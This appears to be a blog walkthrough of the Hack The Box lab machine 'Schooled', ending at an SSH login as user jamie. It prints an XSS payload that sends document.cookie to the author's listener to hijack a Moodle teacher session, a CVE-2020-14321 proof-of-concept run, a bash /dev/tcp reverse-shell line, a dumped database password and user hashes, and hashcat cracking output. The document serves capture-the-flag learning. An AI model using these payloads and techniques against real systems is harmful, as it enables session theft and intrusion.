NameSchooled
DifficultyMedium
Release Date2021-04-03
Retired Date<don’t know>
IP Address10.10.10.234
OSFreeBSD
Points30

The WalkThrough is protected with the root user’s password hash for as long as the box is active. For any doubt on what to insert here check my How to Unlock WalkThroughs.

intro

This was actually a very fun box to play with lots of different stuff to do specially on the enumeration part. It also has the “plus” of being a FreeBSD system, which while being similar to Linux in architecture and functionality, there are still some differences that if you don’t know them (which was actually my case), you’ll lose some time on very easy “steps” to the end goal.

foothold

Even being a different OS, I decided to keep using the same methods for enumaration: nmap, gobuster and nikto if needed. So, let’s start with nmap:

nmap

# Nmap 7.80 scan initiated Sun Jun  6 23:08:56 2021 as: nmap -p- -sV -sC -oN nmap 10.10.10.234
Nmap scan report for 10.10.10.234
Host is up (0.052s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
| ssh-hostkey: 
|   2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA)
|   256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA)
|_  256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519)
80/tcp    open  http    Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15
|_http-title: Schooled - A new kind of educational institute
33060/tcp open  mysqlx?
| fingerprint-strings: 
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
|     Invalid message"
|     HY000
|   LDAPBindReq: 
|     *Parse error unserializing protobuf message"
|     HY000
|   oracle-tns: 
|     Invalid message-frame."
|_    HY000
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.80%I=7%D=6/6%Time=60BD48CC%P=x86_64-redhat-linux-gnu%
SF:r(NULL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x
SF:0b\x08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTT
SF:POptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\
SF:x0b\x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSV
SF:ersionBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTC
SF:P,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x
SF:0fInvalid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\
SF:0")%r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\
SF:x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCoo
SF:kie,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0
SF:b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20messag
SF:e\"\x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNe
SF:g,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x
SF:05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05
SF:HY000")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDStri
SF:ng,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b
SF:\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message
SF:\"\x05HY000")%r(LDAPBindReq,46,"\x05\0\0\0\x0b\x08\x05\x1a\x009\0\0\0\x
SF:01\x08\x01\x10\x88'\x1a\*Parse\x20error\x20unserializing\x20protobuf\x2
SF:0message\"\x05HY000")%r(SIPOptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(
SF:LANDesk-RC,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TerminalServer,9,"\x05\0
SF:\0\0\x0b\x08\x05\x1a\0")%r(NCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(Note
SF:sRPC,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1
SF:a\x0fInvalid\x20message\"\x05HY000")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x0
SF:5\x1a\0")%r(WMSRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(oracle-tns,3
SF:2,"\x05\0\0\0\x0b\x08\x05\x1a\0%\0\0\0\x01\x08\x01\x10\x88'\x1a\x16Inva
SF:lid\x20message-frame\.\"\x05HY000")%r(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x0
SF:5\x1a\0")%r(afp,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\
SF:x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000");
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun  6 23:14:48 2021 -- 1 IP address (1 host up) scanned in 351.96 seconds

We do have an unusual mysqlx port opened (just the same as mysql normal port [3306] but with a different protocol), but since we don’t have any credentials, let’s just fire up gobuster and start checking the site:

website

Looks like an university website. It has some pages for telling their history, the teachers that work there, a few testimonials and finally a contact form:

website-contact

I did found weird that someone would misconfigure the Google Maps plugin (the plugin doesn’t load because it is configured to some other address/domain than the one that we’re accessing from), and my initial reaction was, “Maybe this needs to be accessed from the schooled.htb domain. I tried again from that domain but the Maps plugin still refused to load.

The contacts form itself isn’t that good either. Upon filling up the required fields, it redirects to a /contact.php URL that doesn’t exist so, we have a few options here:

  • The site is not complete;
  • The Admin messed up;
  • It’s intentional

gobuster

This looked like a good time to check for gobuster’s results:

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://schooled.htb
[+] Threads:        10
[+] Wordlist:       /usr/share/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2021/06/06 23:22:05 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/css (Status: 301)
/fonts (Status: 301)
/images (Status: 301)
/js (Status: 301)
===============================================================
2021/06/06 23:23:53 Finished
===============================================================

Ooookkkkk πŸ€”. No weird files or directories. I re-run gobuster with -x php (which appends .php as a file extension to the words on the wordlist), but I also came up empty.

With nothing to be seen, I’ve run nikto:

nikto

- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.234
+ Target Hostname:    schooled.htb
+ Target Port:        80
+ Start Time:         2021-06-06 23:30:25 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.4.46 (FreeBSD) PHP/7.4.15
+ Server leaks inodes via ETags, header found with file /, fields: 0x510e 0x5b6d47d6a6540 
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: GET, POST, OPTIONS, HEAD, TRACE 
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found.
+ 4998 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time:           2021-06-06 23:35:07 (GMT1) (282 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

So, nikto pointed out that the TRACE HTTP method is enabled, and then I realized that nmap had already mentioned this on its scan results. So maybe I could exfiltrate some kind of information about the server environment using the TRACE method. Basically, the TRACE method allows one to debug the actual HTTP server by echoing back whatever it get’s on the request. OWASP has a nice site explaining what kind of attack (XST) can be used when this method is enabled. I decided to check some of the pages of the website to see if any of them was passing by a reverse proxy or something but all I got was this:

http TRACE

β”Œβ”€[r3pek]-[~]
└─$ curl -X TRACE http://schooled.htb/index.html
TRACE /index.html HTTP/1.1
Host: schooled.htb
User-Agent: curl/7.76.1
Accept: */*


β”Œβ”€[r3pek]-[~]
└─$ curl -X TRACE http://schooled.htb/contact.html
TRACE /contact.html HTTP/1.1
Host: schooled.htb
User-Agent: curl/7.76.1
Accept: */*

Nothing. After some time trying and imagining what I could do with this information, I came up empty and decided to try something else. I got back to gobuster and nmap. With the first I tried one of the dirbuster’s wordlist thinking that I might have missed something by using the wrong one, and with later I decided to run an UDP scan; maybe there was some UDP service that was the way in and I was just looking at a decoy.

Both of this scans take a long time to complete so I just went to dinner and I came back, I was just disappointed 😒. Nothing new on the results, so I still had nothing. There had to be something else with this box that I wasn’t seeing! This was when I remembered the Maps plugin not loading. My though was: “Maybe it’s configured to some subdomain of the schooled.htb. I just need to figure out how to search for subdomains without a DNS server”.

wfuzz (subdomain listing)

It turns out that the wfuzz tool is able to do this. With it, and a subdomain list from SecLists, I went ahead and scanned for subdomains. wfuzz doesn’t actually look for subdomains on the DNS sense of things, rather we use it to change the Host: header of the HTTP request to a server, and see if the size of the response is different than normal.

On my first very short run, to get a baseline for “normal” values, I got this:

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/Schooled]
└─$ wfuzz -c -w subdomains-top1million-5000.txt -H "Host: FUZZ.schooled.htb" http://schooled.htb
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://schooled.htb/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                
=====================================================================

000000001:   200        461 L    1555 W     20750 Ch    "www"
000000003:   200        461 L    1555 W     20750 Ch    "ftp"
000000007:   200        461 L    1555 W     20750 Ch    "webdisk"
000000015:   200        461 L    1555 W     20750 Ch    "ns"
000000031:   200        461 L    1555 W     20750 Ch    "mobile"
000000042:   200        461 L    1555 W     20750 Ch    "static"
000000041:   200        461 L    1555 W     20750 Ch    "dns1"
000000040:   200        461 L    1555 W     20750 Ch    "ns4"
000000039:   200        461 L    1555 W     20750 Ch    "dns2"
000000038:   200        461 L    1555 W     20750 Ch    "demo"
000000037:   200        461 L    1555 W     20750 Ch    "shop"
000000036:   200        461 L    1555 W     20750 Ch    "secure"
000000030:   200        461 L    1555 W     20750 Ch    "new"
000000032:   200        461 L    1555 W     20750 Ch    "mysql"
000000033:   200        461 L    1555 W     20750 Ch    "beta"
000000028:   200        461 L    1555 W     20750 Ch    "imap"
000000027:   200        461 L    1555 W     20750 Ch    "mx"
000000029:   200        461 L    1555 W     20750 Ch    "old"
000000035:   200        461 L    1555 W     20750 Ch    "cp"
000000034:   200        461 L    1555 W     20750 Ch    "support"

So, the “normal” results have 1555 words in the reply, let’s just skip this ones and get the rest (if any):

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/Schooled]
└─$ wfuzz -c -w subdomains-top1million-5000.txt -H "Host: FUZZ.schooled.htb" --hw 1555 http://schooled.htb
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://schooled.htb/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                
=====================================================================

000000162:   200        1 L      5 W        84 Ch       "moodle"                                                                                               

Total time: 0
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 0

πŸ₯³πŸ₯³πŸ₯³ We got a subdomain!!! Never been so happy to try a new tool πŸ˜‰

moodle

Let’s update the /etc/hosts file and immediately check this moodle instance.

moodle

Not much to see. Every link asks for a login and I don’t have one. There’s an option to login as Guest but that doesn’t really get anywhere because everything is behind a “Registered user access”. So I decided to register a new user on the platform.

moodle-register

Meh, another subdomain. Hope this one is just for the email address. Updating the email address to r3pek@student.schooled.htb solved the registration problem and I was able to login.

Now, this is just a regular Moodle instance where a student can enroll on courses and subjects, upload homeworks and assignments, you name it. I tried for a while to search for the running Moodle version hoping that it would be exploitable by some known public exploit, but it was nowhere to be found and it looked like that if it wasn’t public on the header, the only way to get it was from the Admin page. Too bad I’m just a student.

First thing I checked was the “Private Files” area where one can upload files. I even updated some reverse php shell to try and execute it but it looked like the only thing you could do to those files are to download them again. So I started looking at all the available Courses and Teachers. Everything is empty or needs the Teacher to enroll the student, so I can’t just enroll myself, all but the Mathematics course. Students can actually enroll on this course by themselves. Looks like it’s time to learn Math…

moodle-mathematics

No much content in here other then the announcements page that did have a note for joining students.

moodlenet xss

Man, this teacher is mean! Do I really need to set this up? Out of curiosity, I looked around on the internet for this MoodleNet stuff. Out of all the public writeups (which shouldn’t exist at this time), I’ve stumbled on this link. From here we learn that versions of Moodle lower than 3.9.2 are vulnerable to a XSS attack on that field making it possible to steal someones cookies if they happen to visit my profile. Well, the teacher did say that he is going to remove every new student from the course if they don’t set their MoodleNet info, so maybe he’s checking? πŸ€”

To actually get any user cookie, we can’t use XSSHunter for example because that’s an online tool, and HTB machines don’t have access to the Internet. That being said, we can just doing to “old fashion” way: redirect a user to an URL containing the cookie. For that we can use this HTML tag for example:

<img src=x onerror=this.src='http://10.10.14.234:9000/?'+document.cookie;>

Time to set this up and see if the Mr. Manuel Phillips actually goes check my profile.

xss

I immediately started receiving requests on the server with my own cookie (cross check on the browser developer tools). So if everything goes as planned, the Teacher should look at my profile and we’ll get his cookie and we can impersonate him, and then maybe fail some students along the way πŸ˜‡. After some time, we got what we wanted:

10.10.10.234 - - [07/Jun/2021 20:23:01] "GET /?MoodleSession=qejcj9s86i7p8mra399fd8ms06 HTTP/1.1" 200 -
10.10.10.234 - - [07/Jun/2021 20:23:01] "GET /?MoodleSession=qejcj9s86i7p8mra399fd8ms06 HTTP/1.1" 200 -
10.10.10.234 - - [07/Jun/2021 20:23:01] "GET /?MoodleSession=qejcj9s86i7p8mra399fd8ms06 HTTP/1.1" 200 -
10.10.10.234 - - [07/Jun/2021 20:23:01] "GET /?MoodleSession=qejcj9s86i7p8mra399fd8ms06 HTTP/1.1" 200 -
10.10.10.234 - - [07/Jun/2021 20:23:01] "GET /?MoodleSession=qejcj9s86i7p8mra399fd8ms06 HTTP/1.1" 200 -

Head over to the browser’s developer tools, change the cookie value of the MoodleSession cookie, and there we go, we’re now Mr. Manuel Phillips!

moodle-teacher

rce

Now we need to leverage this. Luckily, on one of my searchs for “moodle RCE exploits” I’ve found CVE-2020-14321(Still reserved at the time of this writing) which has, at least, this 2 PoCs:

CVE-2020-14321 is the Moodle Security Advisor (MSA) 20-0009: Course enrolments allowed privilege escalation from teacher role into manager role. Basically, someone with a Teacher role on the platform is able to do a privilege escalation to the Admin role. With this, we’re able to install/remove/enable/disable plugins and much more.

The second PoC is actually a very nice python script which does everything you need to exploit the the vulnerability including enabling a RCE plugin via zip file upload. For it to work, one just needs the Teacher role username/password combo, or its hash, which we have thanks to the MoodleNet XSS vulnerability. A quick test of the python script and we get this:

$ ./CVE-2020-14321_RCE.py http://moodle.schooled.htb/moodle --cookie qejcj9s86i7p8mra399fd8ms06 --cdomain moodle.schooled.htb --cpath '/moodle/'
 __     __     __   __  __   __              __  __     
/  \  /|_  __   _) /  \  _) /  \ __  /| |__|  _)  _) /| 
\__ \/ |__     /__ \__/ /__ \__/      |    | __) /__  | β€’ by lanz

Moodle 3.9 - Remote Command Execution (Authenticated as teacher)
Course enrolments allowed privilege escalation from teacher role into manager role to RCE
                                                        
[+] Login on site: MoodleSession:l6fid84qfnjhdg88ho8825kle4 βœ“
[+] Updating roles to move on manager accout: βœ“
[+] Updating rol manager to enable install plugins: βœ“
[+] Uploading malicious file .zip: βœ“
[+] Executing whoami: βœ“

www

[+] Keep breaking ev3rYthiNg!!

Time to give another try:

YAY πŸ₯³ After this much trouble, we finally have RCE on the box.

Of course the next command I tried was to get a remove shell via bash -i >& /dev/tcp/10.10.14.234/9090 0>&1 but for whatever reason, I was never able to get a reverse shell out of this. I tried python, several bash alternate versions, sh, netcat, and none worked. I just got sick of trying and thought that maybe it was a problem with not understanding the system that well (it was FreeBSD after all), so I decided to change the rce.php file included on the zip that get’s uploaded with an actual php reverse shell. For that, I just base64 -d‘ed the zip_b64 variable that’s on the PoC generating the zip file. Then I just uncompressed it, replaced the php file with my php-reverse-shell.php, recompressed the file into rce.zip, calculated its base64 value and replaced it in the python file. Now, whenever I run the PoC, I will get a reverse shell instead of having the ability to run any command (works for me ℒ️).

foothold

This time we get our shell and our foothold!

user flag

Now it’s time to get our user flag. I noticed that there are 2 users on the system:

$ ls -lh /home/   
total 17
drwx------  2 jamie  jamie    11B Jun  7 18:47 jamie
drwx------  5 steve  steve    14B Mar 17 14:05 steve
$ grep sh /etc/passwd
root:*:0:0:Charlie &:/root:/bin/csh
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
jamie:*:1001:1001:Jamie:/home/jamie:/bin/sh
steve:*:1002:1002:User &:/home/steve:/bin/csh

Both of them were active on the system, so, I had no clue which one I should look for. Not having a “LinPEAS 4 BSD” is really a PITA when it comes to enumerate a system from the inside, specially when you don’t know it that well. Anyway, I tried my best to find something. So, what best place to start than with sudo? Sorry mate, sudo isn’t available:

$ sudo -l
/bin/sh: sudo: not found

My first thought was, maybe FreeBSD is really a very hardened system that doesn’t even come with sudo pre-installed (tip: I was wrong). Time to find where the damn moodle app is installed to check it’s configuration file.

$ ls /var/www/html
ls: /var/www/html: No such file or directory
$ ls /srv/www
ls: /srv/www: No such file or directory
$ ls /srv/htdocs
ls: /srv/htdocs: No such file or directory
$ ls /var/www/htdocs
ls: /var/www/htdocs: No such file or directory

😑😑😑😑😑 Where tha hell is the Apache root directory?!?!?!?

$ ls /etc/apache
ls: /etc/apache: No such file or directory
$ find /etc/ -iname "*apache*" 
find: /etc/ntp: Permission denied
$ find /etc/ -iname "*http*"
find: /etc/ntp: Permission denied

And where is its configuration files?! 🀬🀬🀬🀬🀬

Damn… I really need to turn to the internet for this simple task. Turns out that the directory I was looking for was /usr/local/www/apache24/data. Finally I was able to find moodle’s config.php at /usr/local/www/apache24/data/moodle/config.php. And of course, we have our database credentials πŸ˜‰!

$CFG->dbtype    = 'mysqli';
$CFG->dblibrary = 'native';
$CFG->dbhost    = 'localhost';
$CFG->dbname    = 'moodle';
$CFG->dbuser    = 'moodle';
$CFG->dbpass    = 'PlaybookMaster2020';
$CFG->prefix    = 'mdl_';
$CFG->dboptions = array (
  'dbpersist' => 0,
  'dbport' => 3306,
  'dbsocket' => '',
  'dbcollation' => 'utf8_unicode_ci',
);

Let’s just sniff around the moodle’s user table and check if there’s someone interesting:

$ mysql -h
/bin/sh: mysql: not found
$ /usr/bin/mysql -h
/bin/sh: /usr/bin/mysql: not found

OH COME ON!!!! Does this even have any software installed? 😫

$ find /usr -iname "mysql"
find: /usr/local/var/db/tpm: Permission denied
find: /usr/local/var/lib/tpm: Permission denied
/usr/local/bin/mysql
/usr/local/share/bash-completion/completions/mysql
find: /usr/local/share/polkit-1/rules.d: Permission denied
/usr/local/share/mysql
/usr/local/include/mysql
/usr/local/include/mysql/mysql
/usr/local/etc/mysql
find: /usr/local/etc/mysql/keyring: Permission denied
find: /usr/local/etc/cups/ssl: Permission denied
find: /usr/local/etc/polkit-1/rules.d: Permission denied
find: /usr/local/etc/polkit-1/localauthority: Permission denied
find: /usr/local/etc/sudoers.d: Permission denied
/usr/local/lib/mysql
find: /usr/home/jamie: Permission denied
find: /usr/home/steve: Permission denied

Ah ok… Looks like everything is installed on /usr/local (yes, sudo was there too πŸ™„). With that out of the way, let’s just try to get a mysql shell here.

$ /usr/local/bin/mysql -u moodle -p -D moodle
Enter password: PlaybookMaster2020

show databases
^C

Ok, what now?! After a couple more tried I finally understood that the mysql shell wouldn’t work, so I just had to run the SQL command directly from the command line:

$ ./mysql -u moodle -pPlaybookMaster2020 -D moodle -e "show tables"
mysql: [Warning] Using a password on the command line interface can be insecure.
Tables_in_moodle
<snip>
mdl_user
<snip>
$ ./mysql -u moodle -pPlaybookMaster2020 -D moodle -e "select username,password,email from mdl_user;"
username	password	email
guest	$2y$10$u8DkSWjhZnQhBk1a0g1ug.x79uhkx/sa7euU8TI4FX4TCaXK6uQk2	root@localhost
admin	$2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW	jamie@staff.schooled.htb
bell_oliver89	$2y$10$N0feGGafBvl.g6LNBKXPVOpkvs8y/axSPyXb46HiFP3C9c42dhvgK	bell_oliver89@student.schooled.htb
orchid_sheila89	$2y$10$YMsy0e4x4vKq7HxMsDk.OehnmAcc8tFa0lzj5b1Zc8IhqZx03aryC	orchid_sheila89@student.schooled.htb
chard_ellzabeth89	$2y$10$D0Hu9XehYbTxNsf/uZrxXeRp/6pmT1/6A.Q2CZhbR26lCPtf68wUC	chard_elizabeth89@student.schooled.htb
morris_jake89	$2y$10$UieCKjut2IMiglWqRCkSzerF.8AnR8NtOLFmDUcQa90lair7LndRy	morris_jake89@student.schooled.htb
heel_james89	$2y$10$sjk.jJKsfnLG4r5rYytMge4sJWj4ZY8xeWRIrepPJ8oWlynRc9Eim	heel_james89@student.schooled.htb
nash_michael89	$2y$10$yShrS/zCD1Uoy0JMZPCDB.saWGsPUrPyQZ4eAS50jGZUp8zsqF8tu	nash_michael89@student.schooled.htb
singh_rakesh89	$2y$10$Yd52KrjMGJwPUeDQRU7wNu6xjTMobTWq3eEzMWeA2KsfAPAcHSUPu	singh_rakesh89@student.schooled.htb
taint_marcus89	$2y$10$kFO4L15Elng2Z2R4cCkbdOHyh5rKwnG4csQ0gWUeu2bJGt4Mxswoa	taint_marcus89@student.schooled.htb
walls_shaun89	$2y$10$EDXwQZ9Dp6UNHjAF.ZXY2uKV5NBjNBiLx/WnwHiQ87Dk90yZHf3ga	walls_shaun89@student.schooled.htb
smith_john89	$2y$10$YRdwHxfstP0on0Yzd2jkNe/YE/9PDv/YC2aVtC97mz5RZnqsZ/5Em	smith_john89@student.schooled.htb
white_jack89	$2y$10$PRy8LErZpSKT7YuSxlWntOWK/5LmSEPYLafDd13Nv36MxlT5yOZqK	white_jack89@student.schooled.htb
travis_carl89	$2y$10$VO/MiMUhZGoZmWiY7jQxz.Gu8xeThHXCczYB0nYsZr7J5PZ95gj9S	travis_carl89@student.schooled.htb
mac_amy89	$2y$10$PgOU/KKquLGxowyzPCUsi.QRTUIrPETU7q1DEDv2Dt.xAjPlTGK3i	mac_amy89@student.schooled.htb
james_boris89	$2y$10$N4hGccQNNM9oWJOm2uy1LuN50EtVcba/1MgsQ9P/hcwErzAYUtzWq	james_boris89@student.schooled.htb
pierce_allan	$2y$10$ia9fKz9.arKUUBbaGo2FM.b7n/QU1WDAFRafgD6j7uXtzQxLyR3Zy	pierce_allan89@student.schooled.htb
henry_william89	$2y$10$qj67d57dL/XzjCgE0qD1i.ION66fK0TgwCFou9yT6jbR7pFRXHmIu	henry_william89@student.schooled.htb
harper_zoe89	$2y$10$mnYTPvYjDwQtQuZ9etlFmeiuIqTiYxVYkmruFIh4rWFkC3V1Y0zPy	harper_zoe89@student.schooled.htb
wright_travis89	$2y$10$XFE/IKSMPg21lenhEfUoVemf4OrtLEL6w2kLIJdYceOOivRB7wnpm	wright_travis89@student.schooled.htb
allen_matthew89	$2y$10$kFYnbkwG.vqrorLlAz6hT.p0RqvBwZK2kiHT9v3SHGa8XTCKbwTZq	allen_matthew89@student.schooled.htb
sanders_wallis89	$2y$10$br9VzK6V17zJttyB8jK9Tub/1l2h7mgX1E3qcUbLL.GY.JtIBDG5u	sanders_wallis89@student.schooled.htb
higgins_jane	$2y$10$n9SrsMwmiU.egHN60RleAOauTK2XShvjsCS0tAR6m54hR1Bba6ni2	higgins_jane@staff.schooled.htb
phillips_manuel	$2y$10$ZwxEs65Q0gO8rN8zpVGU2eYDvAoVmWYYEhHBPovIHr8HZGBvEYEYG	phillips_manuel@staff.schooled.htb
carter_lianne	$2y$10$jw.KgN/SIpG2MAKvW8qdiub67JD7STqIER1VeRvAH4fs/DPF57JZe	carter_lianne@staff.schooled.htb
parker_dan89	$2y$10$MYvrCS5ykPXX0pjVuCGZOOPxgj.fiQAZXyufW5itreQEc2IB2.OSi	parker_dan89@student.schooled.htb
parker_tim89	$2y$10$YCYp8F91YdvY2QCg3Cl5r.jzYxMwkwEm/QBGYIs.apyeCeRD7OD6S	parker_tim89@student.schooled.htb
test	$2y$10$ap0Zv5Z54eTHaYWMYLZeieOFLKS4vPcqfGiLBuggZqqDrwuk4lhWe	test@student.schooled.htb
r3pek	$2y$10$dxqwWI6F3PLCoDG5bVt5mu4Ysfy5Vz0ziRYVpNj8oUa9BIp0AKCfK	r3pek@student.schooled.htb

Ah! We’re getting somewhere now. The admin user is actually jamie. Let’s fire up hashcat on that password and see if it’s crackable really fast:

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/Schooled]
└─$ hashcat -m 3200  '$2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW' ../../../rockyou.txt 
hashcat (v6.2.1) starting...

clGetDeviceIDs(): CL_DEVICE_NOT_FOUND

clGetDeviceIDs(): CL_DEVICE_NOT_FOUND

Successfully initialized NVIDIA CUDA library.

Failed to initialize NVIDIA RTC library.

* Device #1: CUDA SDK Toolkit installation NOT detected or incorrectly installed.
             CUDA SDK Toolkit installation required for proper device support and utilization
             Falling back to OpenCL Runtime

* Device #1: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
OpenCL API (OpenCL 3.0 CUDA 11.3.116) - Platform #1 [NVIDIA Corporation]
========================================================================
* Device #1: NVIDIA GeForce GTX 970, 2560/4039 MB (1009 MB allocatable), 13MCU

OpenCL API (OpenCL 2.0 pocl 1.7, RelWithDebInfo, LLVM 12.0.0, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #2 [The pocl project]
================================================================================================================================
* Device #2: pthread-Intel(R) Core(TM) i7-3820 CPU @ 3.60GHz, skipped

OpenCL API (OpenCL 1.1 Mesa 21.1.1) - Platform #3 [Mesa]
========================================================

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 72

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 24 MB

Dictionary cache hit:
* Filename..: ../../../rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

Cracking performance lower than expected?                 

* Append -w 3 to the commandline.
  This can cause your screen to lag.

* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

$2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW:!QAZ2wsx
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Name........: bcrypt $2*$, Blowfish (Unix)
Hash.Target......: $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5G...l4qTiW
Time.Started.....: Tue Jun  8 00:00:16 2021 (52 secs)
Time.Estimated...: Tue Jun  8 00:01:08 2021 (0 secs)
Guess.Base.......: File (../../../rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:      272 H/s (4.12ms) @ Accel:2 Loops:4 Thr:11 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 14014/14344385 (0.10%)
Rejected.........: 0/14014 (0.00%)
Restore.Point....: 13728/14344385 (0.10%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:1020-1024
Candidates.#1....: dblock -> squirt1
Hardware.Mon.#1..: Temp: 62c Fan: 35% Util: 99% Core:1227MHz Mem:3505MHz Bus:8

Started: Tue Jun  8 00:00:11 2021
Stopped: Tue Jun  8 00:01:09 2021

We got a hit! Now it’s just a matter of trying to login via ssh with jamie:!QAZ2wsx.

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/Schooled]
└─$ ssh jamie@schooled.htb
(jamie@schooled.htb) Password for jamie@Schooled:
Last login: Mon Jun  7 18:12:50 2021 from 10.10.16.34
FreeBSD 13.0-BETA3 (GENERIC) #0 releng/13.0-n244525-150b4388d3b: Fri Feb 19 04:04:34 UTC 2021

Welcome to FreeBSD!

Release Notes, Errata: https://www.FreeBSD.org/releases/
Security Advisories:   https://www.FreeBSD.org/security/
FreeBSD Handbook:      https://www.FreeBSD.org/handbook/
FreeBSD FAQ:           https://www.FreeBSD.org/faq/
Questions List: https://lists.FreeBSD.org/mailman/listinfo/freebsd-questions/
FreeBSD Forums:        https://forums.FreeBSD.org/

Documents installed with the system are in the /usr/local/share/doc/freebsd/
directory, or can be installed later with:  pkg install en-freebsd-doc
